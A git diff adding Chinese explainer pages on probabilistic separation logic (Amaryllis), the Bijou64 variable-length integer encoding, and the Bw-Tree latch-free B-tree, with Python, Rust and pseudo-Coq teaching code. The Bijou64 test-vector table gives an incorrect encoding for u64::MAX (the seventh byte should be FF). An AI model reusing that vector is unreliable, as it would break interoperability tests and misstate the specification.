valuation** 风格的概率资源: + +- 固定 **随机选择标识** `Rid`,结果空间 `Ω = Rid → Bool`(抽象记录「至今掷了哪些硬币、结果如何」); +- 概率资源 = `(𝒫, R)`:`𝒫` 是 `Ω` 上的概率空间;`R : Ω → M` 是 **随机资源变量**,在每个结果 `ρ` 上给出底层资源代数 `M` 中的一个元素(例如堆 `h(ρ)`)。 + +**分离合取** 在 `(𝒫₁,R₁)` 与 `(𝒫₂,R₂)` 上: + +- 概率部分用 Lilac 的 **独立积** `𝒫₁ ⊛ 𝒫₂`(编码独立性); +- 资源部分 **逐结果** 组合:`∀ρ. R₁(ρ) · R₂(ρ)`(例如堆的无交并 `⊎`)。 + +于是 **不同随机分支可以有不同的堆形状**;在同一分支 `ρ` 内仍要求指针域不交。这正是 `dfl` 所需。 + +### 6. 两种「指向」断言 + +Amaryllis 区分: + +- **`L ↦ V`**(确定性 points-to):对每个可能结果 `ρ`,`L(ρ)` 在 `R(ρ)` 拥有的堆中且值为 `V(ρ)`;**不** 断言拥有 `L` 或 `V` 的 **分布**(否则与历史随机选择相关,破坏 frame)。 +- **`L ↝ μ`**(概率 points-to):`∃V. L ↦ V * V ~ μ`,且在每个分支上 `V` 在 `𝒫` 中可测且分布为 `μ`。 + +分配规则 `{True} ref V {L. L ↦ V}` 对 **随机表达式变量** `V : Ω → Expr` 成立;子表达式 `ref (flip q)` 可先 bind `flip` 再 alloc。 + +### 7. 概率 Frame-Preserving Update(PFP) + +标准 Iris 的 update `P ⇝ Q` 只要求 **frame 不变**。在概率 + 条件化下,有些 frame-preserving update 会 **破坏可测性**(「遗忘」事件,使条件化 `C_{x←μ}` 无意义),从而 **条件化 lift 规则失效**。 + +Amaryllis 加强为 **PFP update**:除 frame 外,还要保持 **任意可能参与的条件化/加权混合** 仍然合法。关键结论: + +- 底层堆上的 mutation、动态 allocation 可提升为 PFP; +- 从分布 **再采样** 是对概率空间分量的 PFP update。 + +在此之上重新定义 **wp**,并证明 **wp 与 `C` 交换**,Frame 与 **c-lift**(条件化 lift)同时成立。 + +### 8. Authoritative RA 在概率下的再解释 + +Iris 用 `Auth(M)`:`• g`(全局权威)+ `◦ a`(局部 fragment),fragment 必须是 authority 的子资源。 + +Amaryllis 在 `PSpAuth_M` 上复刻这一结构,但 **authority 不再表示「绝对全局分布」**,而是 **相对当前条件分布的全局视图**。原 Bluebell 的 `P * C_{v←μ} Q(v) ⊢ C_{v←μ}(P * Q(v))` 在 naive 编码下 **有反例**(authority 里 `X` 仍是公平硬币,分支里却断言 `X=x` 确定)。 + +修复引入: + +- **`⊠ P` 模态**:可 frame 进条件化的 fragment 包装,**不能** 包装 authority; +- **`c-auth` 规则**:在条件化下把 authority 更新为 `g|_{X=v}`,与分支一致。 + +### 9. 与 Probabilistic Iris 路线图的关系 + +Amaryllis 是 **第一步**,不是终局。论文 **刻意限制**: + +- 只考虑 **终止** 程序、**离散** 分布、**有限支撑**; +- 暂无 step-indexing、高阶 ghost state、并发/invariant(标准 Iris 全家桶); +- 机械化约 **5 万行** Rocq。 + +长期目标 **Probabilistic Iris**:SPL 的表达力(Eris 误差积分、ExpIris 期望代价…)与 GPL 的分布推理 **合一**。 + +## 实践案例 + +### 案例 1:`dfl` — 动态分配为何需要 per-outcome 分离 + +论文 Program (3) 的 ML 风格写法: + +```ocaml +(* dfl:第一次 flip 决定是否多分配一个 cell *) +let dfl = + let _ = + if flip 0.5 then Some (ref 0) else None + in + (ref (flip 0.5), ref (flip 0.5)) +``` + +Amaryllis 中期望证明的三元组(示意): + +```text +{ True } + dfl +{ (X, Y). X ↝ Ber(1/2) * Y ↝ Ber(1/2) } +``` + +读法:返回的一对堆指针 `X`、`Y` 在各随机分支内 **不同单元**,且各自存储的值是 **独立** 公平硬币。 + +用 Python **模拟** 旧模型为何失败(教学用,非论文实现):全局要求「X 只使用地址集合 Lx、Y 只使用 Ly 且 Lx ∩ Ly = ∅」。 + +```python +from collections import defaultdict +import random + +def run_dfl(rng): + """返回 (addr_x, addr_y, val_x, val_y)""" + addrs = [] + if rng.random() < 0.5: + addrs.append(id(object())) # ref 0 占位 + a = id(object()) + b = id(object()) + return a, b, rng.random() < 0.5, rng.random() < 0.5 + +xs, ys = set(), set() +for _ in range(2000): + rng = random.Random() + ax, ay, _, _ = run_dfl(rng) + xs.add(ax) + ys.add(ay) + +# 旧「全局分区」模型:要求所有运行中 X 的地址与 Y 的地址集合不交 +print("X 可能地址数:", len(xs)) +print("Y 可能地址数:", len(ys)) +print("全局交集非空?", bool(xs & ys)) # 通常为 True → 无法分区 +``` + +单次运行里 `ax != ay` 几乎总是成立;但 **跨所有随机结果** 聚合时,地址 ID 池重叠——这正是 indexed valuation 要分开处理的对象。 + +### 案例 2:独立、条件化与 Frame — 伪 Coq / 逻辑片段 + +下面用 **接近 Amaryllis proof mode 的伪代码** 展示「先条件化再 frame 独立变量」的推理链(与论文 §2.1–2.6 一致): + +```coq +(* 已有模块 f 的规格:对每个确定性 b,ℓ 存 b 则 f 把 ℓ 翻转为 ¬b *) +Lemma f_spec_det (b : bool) : + { ⌜ ℓ ↦ b ⌝ } f ℓ { ⌜ ℓ ↦ negb b ⌝ }. + +(* 目标:ℓ 初始为公平硬币分布 *) +Goal { ℓ ↝ Ber 0.5 } f ℓ { ℓ ↝ Ber 0.5 }. +Proof. + (* Step 1: 把概率 points-to 展开 *) + unfold "↝". intros [V Hv]. exists V. split; [exact Hv | ]. + (* Step 2: ℓ ↝ μ 等价于 C_{b←Ber(0.5)} ⌜ ℓ ↦ b ⌝ 的混合 *) + assert (Hmix : ℓ ↝ Ber 0.5 ⊣⊢ C_{b ← Ber 0.5} (⌜ ℓ ↦ b ⌝)). + { apply mix_points_to. } + rewrite Hmix. + (* Step 3: c-lift — 对每个分支用 f_spec_det *) + apply c_lift. intros b. + apply f_spec_det. +Qed. + +(* 若另有独立硬币 Y,Frame 不必重证 f *) +Lemma f_spec_framed : + { Y ~ Ber 0.5 * ℓ ↝ Ber 0.5 } f ℓ { Y ~ Ber 0.5 * ℓ ↝ Ber 0.5 }. +Proof. + apply frame. apply f_spec_goal. (* 上面 Goal 的证明 *) +Qed. +``` + +真实 Rocq 开发中,断言、模态与 `c_lift` / `frame` 的名称来自 Amaryllis 库;此处强调 **推理形状**:**混合分布 → 条件化 → 逐分支用确定性规格 → Frame 挂独立资源**。 + +### 案例 3:`ref (flip q)` 的组合规则 + +分配与采样可 **bind** 组合(论文 hoare-bind + alloc): + +```text +{ true } flip q { V. V ~ Ber(q) } +{ V ~ Ber(q) } ref V { L. L ↦ V * V ~ Ber(q) } +──────────────────────────────────────────────────────────────────── +{ true } ref (flip q) { L. L ↦ V * V ~ Ber(q) } +``` + +第二行里 `L ↦ V` **不** 拥有 `V` 的分布所有权,因此与上下文 frame 相容;第三行若初始就拥有 `V ~ Ber(q)`,Frame 可把 `V ~ Ber(q)` 带进后置。 + +## 与相关工作的关系 + +| 工作 | 与 Amaryllis 的关系 | +|------|---------------------| +| **PSL / Lilac / Bluebell / pcOL** | GPL 前辈;Amaryllis 继承独立=`*` 与 `C` 模态,替换底层分布模型 | +| **Iris / iCAP** | 资源代数、wp、update、Auth;Amaryllis 证明 PFP 版仍 sound | +| **Eris / ExpIris / Coneris** | Iris 上的 SPL;谈误差积分/期望代价,不替代 GPL 的分布断言 | +| **pRHL / coupling** | 另一类概率 relational 推理;Iris 扩展曾用 coupling,Amaryllis 走 GPL 路线 | +| **Infer / 经典分离逻辑** | 确定性堆 `ℓ↦v`;Amaryllis 的 `L↦V` 是其按结果索引的随机泛化 | + +## 局限与批判性阅读 + +1. **范围**:无并发、无高阶 ghost、无 step-indexing——离「完整 Probabilistic Iris」仍有距离。 +2. **离散 + 终止**:连续分布、几乎必然终止的 unbounded loop 需另做规则(论文讨论部分规则会失效)。 +3. **工程成本**:~50K LOC 机械化,阅读门槛高;零基础应先掌握 Iris 与 Lilac 再深入。 +4. **Authority 语义变更**:`⊠` 与 `c-auth` 修复 soundness,但增加了证明义务——与 Bluebell 的 `c-frame-bb` 不可直接照搬。 +5. **非堆资源**:理论对任意 ORA 参数化,但论文示例以堆为主;其他 ghost 资源需实例化验证。 + +## 自测题 + +1. SPL 与 GPL 在「断言对象」上的根本区别是什么?Amaryllis 属于哪一类? +2. 用一句话说明:为何 `{True} dfl {(X,Y). …}` 在「全局堆分区」模型下语义不成立? +3. `L ↦ V` 与 `L ↝ μ` 在 **所有权** 上差在哪?为何 alloc 规格不能写成只含 `↝`? +4. 标准 frame-preserving update 为何不足以支持 `C`-lift?PFP 多要求了什么? +5. Amaryllis 尚未包含 Iris 的哪三个大型特性?(论文 Non-goals 段) + +## 延伸阅读 + +- arXiv:2605.13765 — 原文 HTML/PDF +- [Amaryllis Rocq 仓库](https://gitlab.mpi-sws.org/FP/amaryllis) +- Lilac(条件概率 + 独立积)— GPL 的直接前驱 +- Iris 项目主页 — 分离逻辑框架与 Modal 程序逻辑 +- Eris / Coneris — 同框架下的误差界并发扩展,对比 SPL 路线 + +## 一句话总结 + +**Amaryllis = 把 Iris 的资源代数「按硬币结果分页」,让独立(`*`)与条件化(`C`)在每一页里仍像经典分离逻辑那样工作,从而第一次在 GPL 里合法谈论 `ref (flip())` 与动态堆上的独立硬币。** diff --git a/src/content/docs/papers/bijou64-varint.md b/src/content/docs/papers/bijou64-varint.md new file mode 100644 index 000000000..41be7dc42 --- /dev/null +++ b/src/content/docs/papers/bijou64-varint.md @@ -0,0 +1,273 @@ +--- +title: Bijou64 — 结构式规范化的变长整数编码 +来源: 'Brooklyn Zelenka / Ink & Switch, "Bijou64: A variable-length integer encoding", tangent 文章 + bijou64/SPEC.md (Subduction CRDT 同步协议), 2026' +日期: 2026-06-13 +子分类: 类型与 PL 理论 +分类: 编程语言 +provenance: pipeline-v3 +--- + +## 从日常类比开始:快递单上的「重量档」 + +寄快递时,计费往往不是「每个包裹都写满 8 位数字」,而是: + +- 轻的小件:面单上直接写 **2 kg**,一行搞定; +- 稍重:写 **档位 + 超出部分**,比如「中档 + 52」表示从该档位起再加 52; +- 最重:档位更高,附带的数字位数也更多。 + +关键是:**同一种重量,柜台只会给你一种写法**。你不能把「0 公斤」写成 `00000000`,也不能用「多贴一张空白续页」把 5 写成 005——否则对账、验签、去重都会乱套。 + +二进制协议里的 **变长整数(varint)** 也是同一逻辑:日志计数、消息长度、CRDT 元数据……多数时候是 **小数字**,偶尔才需要接近 `u64::MAX` 的大数。常见方案如 **LEB128**(Protobuf、WebAssembly、DWARF)用「每字节最高位 = 还有下一字节」来省空间,但 **同一个数可以有多种合法字节序列**——例如 `0` 可以是 `0x00`,也可以是 `0x80 0x00`、`0x80 0x80 0x00`…… + +**Bijou64**(读作 bee-zoo-sixty-four,BIJective Offset U64)是 Ink & Switch 为 **Subduction CRDT 同步协议** 设计的 varint:**每个 `u64` 恰好对应唯一一种字节序列**(双射 / 结构式规范化),本意是修签名验证里的「非规范编码」漏洞, benchmark 上解码还比 LEB128 快约 **2–10 倍**。 + +--- + +## 是什么 + +Bijou64 把 **无符号 64 位整数** 编码成 **1–9 字节** 的序列: + +| 首字节范围 | 总长度 | 含义 | +|------------|--------|------| +| `0x00`–`0xF7`(0–247) | 1 字节 | 首字节 **就是** 数值本身 | +| `0xF8`–`0xFF`(248–255) | 2–9 字节 | 首字节是 **档位标签**,后面跟 big-endian **载荷** | + +多字节档位的解码公式: + +```text +tier = tag - 247 // 1..8 +value = OFFSET[tier] + payload_be +``` + +编码时做逆运算:选合适 tier,发 `tag = 247 + tier`,再发 `(value - OFFSET[tier])` 的 big-endian 字节。 + +与 **VARU64**(同 tag-byte 框架)的关键区别:VARU64 的 payload 是 **数值本身**,所以 `0x00`、`0xF8 0x00`、`0xF9 0x00 0x00` 都能解出 `0`;Bijou64 对每层 **减去累计偏移 OFFSET**,各档数值区间 **不相交**,过长编码在结构上 **不存在**。 + +--- + +## 为什么重要 + +### 1. 安全:规范化不是「解码后再 if 一下」 + +对 **签名过的原始字节**(证书、JWT、区块链交易、CRDT 同步块)来说,「两种字节串 → 同一个数」等于给攻击者 **换皮不重签** 的空间。LEB128 的标准做法是解码后 **拒绝非最短形式**——但这条 `if`: + +- honest 数据的 round-trip 测试 **测不出来**; +- 性能 benchmark **测不出来**; +- 被删掉或移植遗漏时,**只有对抗输入** 才暴露。 + +Bijou64 的策略是:**格式本身写死唯一表示**。解码器只需处理「缓冲区不够」和「tier 8 加法溢出」两种错误,**没有**「非规范编码」这类单独错误码——因为那种输入 **根本不是合法 bijou64**。 + +### 2. 性能:首字节定长,不必扫 continuation bit + +LEB128 解码要 **逐字节看 MSB**,直到某字节最高位为 0;长度与数值大小相关,分支预测在随机大数上很吃亏。 + +Bijou64 读 **第一个字节** 就知道还要读几个字节(查表 `tier = tag - 247`),payload 是 **连续 big-endian**,CPU 上常变成一次 load + `bswap`。Ink & Switch 在 Apple M2 Pro / AMD Zen 5 上测 **4096 个值的 batch**:均匀全 `u64` 分布时 bijou64 约 **0.75 ns/值**,LEB128 约 **7.3 ns/值**;小单字节值约 **2×**,大多数字节 LEB128 约 **8–10×**。 + +### 3. 工程:可排序、可 hexdump + +编码后的 **字节序 lexicographic 顺序 = 数值顺序**,便于键值存储里 **不解码直接二分**。0–247 的常见情况:**hexdump 里一个字节就是值**,调试友好。 + +--- + +## 核心概念 + +### 1. 档位(tier)与 OFFSET 表 + +每个 tier 覆盖一段 **互不重叠** 的数值区间。OFFSET[t] = 「比 tier t 更短的编码所能表示的最大值 + 1」: + +| Tier | Tag | OFFSET(十进制) | 该档 value 范围(含端点) | +|------|-----|------------------|---------------------------| +| 0 | — | 0 | 0 – 247 | +| 1 | `0xF8` | 248 | 248 – 503 | +| 2 | `0xF9` | 504 | 504 – 66,039 | +| 3 | `0xFA` | 66,040 | 66,040 – 16,843,255 | +| … | … | … | … | +| 8 | `0xFF` | 72,340,172,838,076,920 | … – `u64::MAX` | + +递推:`OFFSET[0]=0`,`OFFSET[1]=248`,`OFFSET[n]=OFFSET[n-1]+256^(n-1)`(n≥2)。hex 上可见规律:每层 offset 末尾都是 `…F8`,前面逐层多一个 `01` 前缀。 + +### 2. 双射(bijective)= 规范化的结构保证 + +- **编码**:若 `v < 248` → 单字节 `v`;否则唯一 tier `t` 使 `OFFSET[t] ≤ v < OFFSET[t+1]`,发 tag 与 payload。 +- **解码**:`tag < 248` → 值即 tag;否则 `value = OFFSET[tier]+payload`。 +- 用错 tier 编码会在 round-trip 或 content hash 上 **立刻暴露**(得到另一个数),而不是「静默接受过长形式」。 + +### 3. Tier 8 的边界检查(不是规范化问题) + +9 字节形式(tag `0xFF` + 8 字节 payload)在算术上能表示 **略大于 `u64::MAX`** 的数。规范要求:若 `OFFSET[8]+payload` 溢出 `u64`,解码器 **必须报错**。这是 **范围上限**,不是「多种合法编码」——范围内每个数仍只有一种写法。 + +### 4. 与 LEB128 / VARU64 / SQLite4 varint 的定位 + +| 格式 | 首字节定长? | 结构式唯一编码? | 备注 | +|------|--------------|------------------|------| +| LEB128 | 否(扫 continuation) | 否 | 生态最大,Protobuf/Wasm | +| VARU64 | 是 | 否(需拒绝过长) | bijou64 的 framing 祖先 | +| SQLite4 varint | 是 | 仅前两档 offset | 3+ 档仍可能过长 | +| **Bijou64** | 是 | **是** | Subduction / 需签名的 canonical wire | + +**权衡**:LEB128 升到 2 字节后可一直覆盖到 2¹⁴ 仍占 2 字节;bijou64 的 2 字节档只覆盖 **248–503**(约 256 个数)。若大量 ID 落在 500–16383,LEB128 更省 wire;若 **canonical + 大端 + 首字节定长** 是硬需求,bijou64 更合适。 + +--- + +## 手工走一遍:300 和 67,000 + +**300**(tier 1): + +1. 300 ≥ 248 → 多字节;`OFFSET[1]=248 ≤ 300 < 504=OFFSET[2]` → tier 1。 +2. Tag:`247+1=248` → `0xF8`。 +3. Payload:`300-248=52` → `0x34`。 +4. wire:`F8 34`。注意 **`F8 00` 解出来是 248,不是 0**——0 只能是 `00`。 + +**67,000**(tier 3,SPEC 例题): + +1. `OFFSET[3]=66,040 ≤ 67,000 < OFFSET[4]` → tier 3。 +2. Tag:`0xFA`。 +3. Payload:`67,000-66,040=960` → 3 字节 BE `00 03 C0`。 +4. wire:`FA 00 03 C0`(4 字节)。 + +**1738**(原文图解):3 字节总长(tag + 2 payload),offset `0x1F8`(504),payload 对应 `1738-504=1234`。 + +--- + +## 代码示例 1:Python 参考实现(教学用) + +下面约 40 行,逻辑与 [SPEC](https://github.com/inkandswitch/subduction/blob/main/bijou64/SPEC.md) 一致,便于零基础对照算法(生产环境请用官方 `bijou64` crate 或已审计移植): + +```python +OFFSET = [0, 248, 504, 66040, 16843256, 4311810552, + 1103823438328, 282578800148984, 72340172838076920] +U64_MAX = (1 << 64) - 1 + +def encode_u64(v: int) -> bytes: + if v < 248: + return bytes([v]) + for tier in range(1, 9): + lo, hi = OFFSET[tier], OFFSET[tier + 1] if tier < 8 else U64_MAX + 1 + if lo <= v < hi: + tag = 247 + tier + payload = v - lo + width = tier + return bytes([tag]) + payload.to_bytes(width, "big") + raise ValueError("out of u64 range") + +def decode_bijou64(buf: bytes) -> tuple[int, int]: + if not buf: + raise ValueError("buffer too short") + tag = buf[0] + if tag < 248: + return tag, 1 + tier = tag - 247 + if len(buf) < 1 + tier: + raise ValueError("buffer too short") + payload = int.from_bytes(buf[1 : 1 + tier], "big") + value = OFFSET[tier] + payload + if value > U64_MAX: + raise ValueError("overflow") + return value, 1 + tier + +# SPEC 向量 +assert encode_u64(300) == bytes.fromhex("F8 34") +assert decode_bijou64(bytes.fromhex("FA 00 03 C0"))[0] == 67_000 +``` + +--- + +## 代码示例 2:Rust 官方 API + 流式解析思路 + +crates.io 上的 [`bijou64`](https://crates.io/crates/bijou64)(MIT / Apache-2.0)是 Subduction 的参考实现: + +```rust +// 依赖: bijou64 = "0.2" +use bijou64::{decode, encode, encoded_len, DecodeError}; + +fn round_trip() { + let mut buf = Vec::new(); + encode(300, &mut buf); + assert_eq!(buf, [0xF8, 0x34]); + + let (value, consumed) = decode(&buf).unwrap(); + assert_eq!(value, 300); + assert_eq!(consumed, 2); + assert_eq!(encoded_len(300), 2); +} + +// 协议解析器:首字节定长 → 可 O(1) 跳过未知字段 +fn skip_one_field(data: &[u8]) -> Result<&[u8], DecodeError> { + if data.is_empty() { + return Err(DecodeError::BufferTooShort); + } + let tag = data[0]; + let total = if tag < 248 { 1 } else { 1 + (tag - 247) as usize }; + if data.len() < total { + return Err(DecodeError::BufferTooShort); + } + Ok(&data[total..]) +} +``` + +Kafka 等场景也有 Java 封装(`Bijou64Serializer`):计数器、序号、小 ID 高频 topic 上,相对固定 8 字节 `Long` 可显著省 egress——但 **producer/consumer 必须成对使用**,且语义是 **无符号 u64**(有符号负数需继续用 `LongSerializer`)。 + +--- + +## 测试向量(实现互操作时应覆盖) + +| Value | Hex | +|-------|-----| +| 0 | `00` | +| 42 | `2A` | +| 247 | `F7` | +| 248 | `F8 00` | +| 300 | `F8 34` | +| 504 | `F9 00 00` | +| 67,000 | `FA 00 03 C0` | +| `u64::MAX` | `FF FE FE FE FE FE FE FE 07` | + +**必须报错**:空缓冲;`F9 00`(tier 2 缺 payload);`FF FF FF FF FF FF FF FF FF`(tier 8 溢出)。 + +--- + +## 何时考虑采用 / 何时继续用 LEB128 + +**更适合 bijou64:** + +- 协议对 **原始字节做签名或 content hash**,且不能依赖「每个解码点都写对 canonical check」; +- 需要 **首字节知道长度** 的 streaming / 零拷贝跳过; +- 数值 **大量 < 248** 或需要 **大端 + 字节序可排序**; +- 新项目,愿意引入较新、battle-test 尚少于 LEB128 的格式。 + +**继续 LEB128 更合理:** + +- 已有 Protobuf / Wasm / DWARF 生态,改 wire 成本极高; +- 需要 **非规范过长编码** 做链接器占位(Wasm/DWARF 的 deliberate overlong); +- 大量标识落在 **500–16383** 且极度在意 **2 字节覆盖宽度**; +- 依赖 **SIMD 批量解码** 整条 buffer——社区讨论指出 LEB128 的固定 continuation 位位置更利于 speculative SIMD;bijou64 首字节 8 路分支对 **单值解码** 友好,对 **并行扫窗口** 未必最优。 + +--- + +## 性能与体积(原文 benchmark 摘要) + +- **解码**:相对 LEB128(不含 canonical 检查)约 2–10×;含 canonical 检查差距更大;bijou64 延迟 CDF 更「竖」,方差小。 +- **编码**:多数分布与 LEB128 相当或更快;248–65535 区间 LEB128 约快 1.24×。 +- **体积**: realistic 工作负载下与 LEB128 **相差几个百分点** 量级,不是主要卖点;卖点是 **canonical + 定长首字节 + 解码速度**。 + +--- + +## 生态与延伸阅读 + +- 原文:[Bijou64: A variable-length integer encoding](https://www.inkandswitch.com/tangents/bijou64/)(Ink & Switch Tangents) +- 规范:[inkandswitch/subduction — bijou64/SPEC.md](https://github.com/inkandswitch/subduction/blob/main/bijou64/SPEC.md)(CC BY-SA 4.0) +- Rust crate:[docs.rs/bijou64](https://docs.rs/bijou64/latest/bijou64/) +- 应用背景:Subduction CRDT 同步协议;规范中规划 **bijou32 / bijou128** 同族扩展 +- 对比阅读:LEB128、[VARU64](https://github.com/AljoschaMeyer/varu64-rs)、SQLite4 varint、Git pack offset encoding + +--- + +## 小结 + +Bijou64 把「**每个整数只有一种写法**」从 **解码后的校验** 下沉到 **编码几何**:tag-byte 定长 + 分层 offset,使双射成为格式不变量。它Born 于 CRDT 同步里的签名安全,却附带更快的单值解码路径。零基础记住三句即可: + +1. **0–247**:一个字节就是数本身。 +2. **248–255**:标签;后面几个字节是 **大端 (value − OFFSET)**。 +3. **不能** 用多字节形式「凑」出已在更短档出现过的数——这是与 LEB128 根本不同的安全与语义契约。 + +若你在设计 **新的、要签名或哈希的 binary protocol**,值得把 bijou64 和 LEB128+canonical 放在同一张对比表里;若只是读 Protobuf,知道「业界另一种更严格的 varint 长什么样」也足够扩展视野。 diff --git a/src/content/docs/papers/bw-tree.md b/src/content/docs/papers/bw-tree.md new file mode 100644 index 000000000..08b480546 --- /dev/null +++ b/src/content/docs/papers/bw-tree.md @@ -0,0 +1,337 @@ +--- +title: Bw-Tree — 面向新硬件的无锁 B 树索引 +来源: 'Levandoski, Lomet & Sengupta, "The Bw-Tree: A B-tree for New Hardware Platforms", ICDE 2013' +日期: 2026-06-13 +子分类: 存储与查询 +分类: 数据库 +provenance: pipeline-v3 +--- + +## 从日常类比开始:图书馆目录卡 + 便利贴,而不是当场改书 + +想象你在管理一座**超大图书馆**的目录系统。传统 B-tree 像**带锁的卡片柜**: + +- 要找一本书,先拿柜门钥匙(latch),打开某一格抽屉(页),在里面翻卡片。 +- 有人要改目录,必须把整张卡片抽出来重写(**原地更新**),其他人只能排队等。 +- 卡片柜固定每格 100 张(固定页大小),一满就必须立刻拆成两格(split),哪怕当时很忙。 + +Bw-Tree(Microsoft 内部戏称 **Buzz Word Tree**)换了一套规则: + +1. **目录柜没有锁**:任何人随时可读;写的人只在**自己的便利贴**上改,最后用原子操作把「当前版本指针」拨到新位置。 +2. **不改旧卡片,只贴便利贴**:每次 insert/delete 不是改原页,而是在页顶** prepend 一条 delta(增量记录)**,像「Δ: 插入《数据库系统》第 3 版」。 +3. **柜子上只有编号,不绑死物理位置**:每个逻辑页有一个 **mapping table 槽位**,里面存的是「当前物理地址指针」;换页、换 delta 链,只改这一个指针。 +4. **后台再整理**:便利贴太多时,工作人员把 delta 全部合并成一张** consolidated page( consolidated 页)**,搜索变快、内存变省。 +5. **落盘像写日志**:Flash 擅长顺序写、讨厌随机写;Bw-Tree 的 **LSS(Log-Structured Store)** 把页变更顺序追加到日志,而不是随机改旧块。 + +论文发表于 **ICDE 2013**(Justin Levandoski、David Lomet、Sudipta Sengupta,Microsoft Research)。它是 SQL Server **Hekaton** 内存 OLTP 引擎的有序索引(范围扫描),也是 LLAMA 存储栈的核心组件。设计目标直指 2010 年代两大硬件趋势:**多核大内存**(消除 latch 竞争、提高 cache 命中)和 **Flash/SSD**(顺序写、降低写放大)。 + +--- + +## 是什么 + +**Bw-Tree** 是一种 **latch-free(无闩锁)的 B-tree 变体**,在逻辑上仍是 B-tree(键有序、支持 range scan),但在实现上做了三层 radical redesign: + +| 层次 | 传统 B-tree | Bw-Tree | +|------|-------------|---------| +| 并发 | 页 latch / 闩锁 | 无 latch;CAS 安装 delta | +| 更新 | 原地改页内记录 | **Delta record** 链式追加 | +| 寻址 | 指针直接指向页 | **Mapping table** 间接寻址 | +| 页大小 | 固定(如 8KB) | **Elastic**(可弹性增长,方便时再 split) | +| 持久化 | 随机写页 | **Log-structured** 顺序追加 | + +一句话:**逻辑页 ID 不变,物理内容通过 delta 链演化;用 mapping table + CAS 让并发写「只碰一个槽位」,读路径无锁前进。** + +--- + +## 为什么重要 + +如果你只学过 textbook B-tree + InnoDB 页锁,Bw-Tree 解释了 Hekaton / 现代内存数据库里一个反直觉事实: + +> **多核加到 16、32 核之后,索引吞吐有时不升反降——瓶颈从「算力」变成「抢同一把页锁」。** + +论文与后续 SIGMOD 2014 演示表明,在 Xbox Live Primetime、企业去重等真实 workload 下,Bw-Tree 作为独立 KV 存储可比 BerkeleyDB 快约 **19×**,比 latch-free skiplist 快约 **3×**(具体倍数随 workload 变化)。它把三件事绑在一起: + +1. **无阻塞并发**:worker 线程不因 latch 睡眠,减少上下文切换。 +2. **Cache 友好**:不原地改大页,减少 cache line 失效(false sharing)。 +3. **Flash 友好**:LSS 顺序写,规避 SSD 随机写性能悬崖。 + +后续 OpenBw-Tree(CMU SIGMOD 2018)指出:Microsoft 原始论文**省略不少实现细节**,正确实现 CAS + epoch GC + split 并不 trivial——但 Bw-Tree 仍是理解「无锁索引 + log-structured 存储」的 canonical 设计。 + +--- + +## 核心概念 + +### 1. Mapping Table(映射表) + +每个**逻辑页**有一个固定下标 `page_id`,mapping table\[page_id\] 存当前 **physical pointer**(指向 delta 链头或 consolidated 页)。 + +- 搜索从根开始:读 mapping table → 拿到物理地址 → 沿 B-tree 孩子指针(也是 logical id)向下。 +- 更新某页时,**只 CAS 这一格的指针**,不影响其他页——这是 latch-free 的结构性前提。 + +### 2. Delta Updating(增量更新) + +页状态变更步骤: + +1. 分配 delta 记录,描述操作(Insert / Delete / Update / Split / Merge 等)。 +2. Delta 的 `next` 指向旧状态(旧 delta 或 consolidated base)。 +3. **CAS(mapping_table[page_id], old_ptr, new_delta_ptr)**;成功则新 delta 成为页首。 +4. 失败说明并发冲突,重读指针并重试(典型 lock-free 模式)。 + +读路径:从链头沿 `next` 向下走,合并语义(或先 consolidate 再读)。 + +### 3. Consolidation(合并整理) + +Delta 链过长时: + +- 分配新 consolidated 页,把链上所有 delta **apply** 到 base 页。 +- CAS 安装新 consolidated 指针。 +- 旧结构进入 **pending list**,等 **epoch-based reclamation** 安全后再 free。 + +这样既控制内存,又恢复 O(log n) 页内搜索而非 O(链长)。 + +### 4. Elastic Pages(弹性页) + +页没有硬编码 8KB 上限;split 可以在「方便时」做,减少高负载下的 split 风暴。配合 delta,页的有效大小是 base + 未 consolidate 的 delta 体积。 + +### 5. Log-Structured Store(LSS) + +内存页 evict 到 Flash 时: + +- 不是原地覆盖旧块,而是把页(或 delta)**顺序 append** 到 log。 +- Mapping table 槽位更新为 LSS 中的 offset。 +- GC 扫描不可达 log 条目,批量 relocate 以减少随机读。 + +论文 ICDE 2013 版侧重 **内存侧**;LSS 与 recovery(checkpoint mapping table + 重放 log)在同期/后续技术报告里展开。 + +### 6. 与 Hekaton 的关系 + +Hekaton 表用 **hash 索引做点查、Bw-Tree 做范围扫描**。Bw-Tree 的无 latch 设计与 Hekaton 的 **乐观 MVCC** 同哲学:性能路径上避免内核级阻塞,把冲突留到 commit 时检测。 + +--- + +## 架构一图流 + +```text + ┌─────────────────┐ + 读/写线程 ───────►│ B-tree 逻辑层 │ 键比较、导航、split 决策 + └────────┬────────┘ + │ + ┌────────▼────────┐ + │ Mapping Table │ page_id → physical ptr (CAS 更新) + └────────┬────────┘ + │ + ┌──────────────┼──────────────┐ + ▼ ▼ ▼ + Δ Insert Consolidated (evicted) + Δ Delete Page P → LSS offset + │ │ + └────── next ──┘ +``` + +--- + +## 代码示例 1:用 Python 模拟 Mapping Table + CAS 安装 Delta + +下面是最小化教学模型(非生产代码):展示「无锁安装 delta」的核心循环。 + +```python +import threading +from dataclasses import dataclass +from typing import Any, Optional + +@dataclass +class Delta: + op: str # "insert" | "delete" + key: int + value: Any = None + next: Optional["PageState"] = None + +@dataclass +class ConsolidatedPage: + records: dict # key -> value + +PageState = ConsolidatedPage | Delta + +class MappingTable: + def __init__(self, n_pages: int): + # 每个槽位:当前物理指针;用 list 模拟 atomic pointer + self.slots: list[PageState | None] = [None] * n_pages + self._lock = threading.Lock() # 仅用于模拟 CAS;真实 Bw-Tree 用 hardware CAS + + def cas(self, page_id: int, expected: PageState | None, new: PageState) -> bool: + with self._lock: + if self.slots[page_id] is not expected: + return False + self.slots[page_id] = new + return True + +def install_delta(table: MappingTable, page_id: int, delta: Delta) -> None: + """Latch-free 安装 delta:失败则重读 old_ptr 并重链 delta.next""" + while True: + old = table.slots[page_id] + delta.next = old + if table.cas(page_id, old, delta): + return + # CAS 失败:别的线程已 prepend 新 delta,重试 + +# 用法 +mt = MappingTable(n_pages=1) +mt.slots[0] = ConsolidatedPage(records={10: "ten", 20: "twenty"}) + +install_delta(mt, 0, Delta(op="insert", key=15, value="fifteen")) +install_delta(mt, 0, Delta(op="delete", key=10)) + +# 此时 page 0 物理结构:Delete(10) -> Insert(15) -> ConsolidatedPage(...) +``` + +要点: + +- **读者**只需读 `slots[page_id]` 当前指针,沿链解析,无需加锁。 +- **写者**只 CAS 单个槽位;冲突时重试,不阻塞其他页。 + +--- + +## 代码示例 2:Delta 链搜索 + Consolidation + +读路径要「看见」链上所有变更;consolidate 